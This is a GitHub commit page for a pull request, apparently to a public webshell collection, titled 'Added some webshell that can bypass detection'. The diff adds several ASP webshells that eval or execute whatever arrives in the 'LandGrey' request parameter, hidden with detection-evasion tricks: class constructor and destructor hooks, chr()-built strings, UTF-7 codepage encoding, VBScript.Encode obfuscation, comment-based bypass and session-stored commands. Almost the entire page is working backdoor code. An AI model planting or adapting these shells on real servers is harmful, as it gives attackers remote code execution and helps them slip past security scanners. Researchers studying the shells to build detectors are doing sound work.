Skip to content

Commit 67b6b11

Browse files
authored
Merge pull request tennc#29 from sunnyelf/master
Added some webshell that can bypass detection
2 parents a0a4b15 + f803bba commit 67b6b11

31 files changed

+6717
-0
lines changed

asp/bypass-all.asp

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -1,5 +1,6 @@
11
<%<!--"-->
22
eXecUTe(fun("%167%184%163%174%98%180%167%179%183%167%181%182%106%100%142%163%176%166%137%180%167%187%100%107"))
3+
34
Function fun(Str):
45
Str = Split(Str,"%")
56
For x=1 To Ubound(Str)

asp/class-initialize.asp

Lines changed: 9 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,9 @@
1+
<%
2+
Class LandGrey
3+
Private Sub Class_Initialize
4+
eval (request("LandGrey"))
5+
End Sub
6+
End Class
7+
8+
Set X = New LandGrey
9+
%>

asp/class-terminate.asp

Lines changed: 10 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,10 @@
1+
<%
2+
Class LandGrey
3+
Private Sub class_terminate
4+
eval (request("LandGrey"))
5+
End Sub
6+
End Class
7+
8+
Set X = New LandGrey
9+
Set X = Nothing
10+
%>

asp/create-activex-object.asp

Lines changed: 11 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,11 @@
1+
<%@ language = VBscript %>
2+
<%<!--%^_^%-->
3+
SET LandGrey = server.CreateObject("mS"&chr(115)&"cR"&chr(105)&"pTCo"&Chr(110)&Chr(84)&"rOL.Sc"&chr(114)&"IpTCo"&Chr(110)&Chr(84)&"rOL.1")
4+
LandGrey.lANguaGE = cHr(86)&"BsC"&CHR(114)&chr(105)&"PT"
5+
LandGrey.AddObject "REsponse", Response
6+
LandGrey.AddObject "r"&chr(101)&"quEst", requesT
7+
LandGrey.AddObject "s"&chr(101)&"ssIon", sessiOn
8+
LandGrey.AddObject "serv"&chr(101)&"r", serVer
9+
LandGrey.AddObject "apPlic"&CHR(97)&"tIon", application
10+
LandGrey.eXECuTeStAtEmENt("eV"&CHr(&0141)&"L"&Chr(40)&"rEqU"&cHr(101)&"St("&chr(34)&"LandGrey"&chr(34)&CHR(41)&")")
11+
%>

asp/execute-session.asp

Lines changed: 1 addition & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1 @@
1+
<%if request("LandGrey")<>""then session("LandGrey")=request("LandGrey"):end if:if session("LandGrey")<>"" then execute session("LandGrey")%>

asp/glorysday.asp

Lines changed: 291 additions & 0 deletions
Large diffs are not rendered by default.

asp/use-html-annotator-bypass.asp

Lines changed: 4 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,4 @@
1+
<%
2+
<!--"-->
3+
execute request("LandGrey")
4+
%>

asp/utf7-bypass.asp

Lines changed: 4 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,4 @@
1+
<%@codepage=65000%>
2+
<%
3+
+AHIAZQBzAHAAbwBuAHMAZQAuAGMAbwBkAGUAcABhAGcAZQA9ADYANQAwADAAMQA6AGUAdgBhAGwAKAByAGUAcQB1AGUAcwB0ACgAIgBMAGEAbgBkAEcAcgBlAHkAIgApACk-
4+
%>

asp/vbencode-bypass.asp

Lines changed: 2 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,2 @@
1+
<%@ LANGUAGE = "VBScript.Encode"%>
2+
<%#@~^IQAAAA==3X+^!YMVK4msPM+5E/OcrSl [MM+Xrb+AsAAA==^#~@%>

b4tm4n-toolz/README.md

Lines changed: 3 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,3 @@
1+
# B4TM4N TOOLZ
2+
3+
The Tools for B4TM4N ~ PHP WEBSHELL

0 commit comments

Comments
 (0)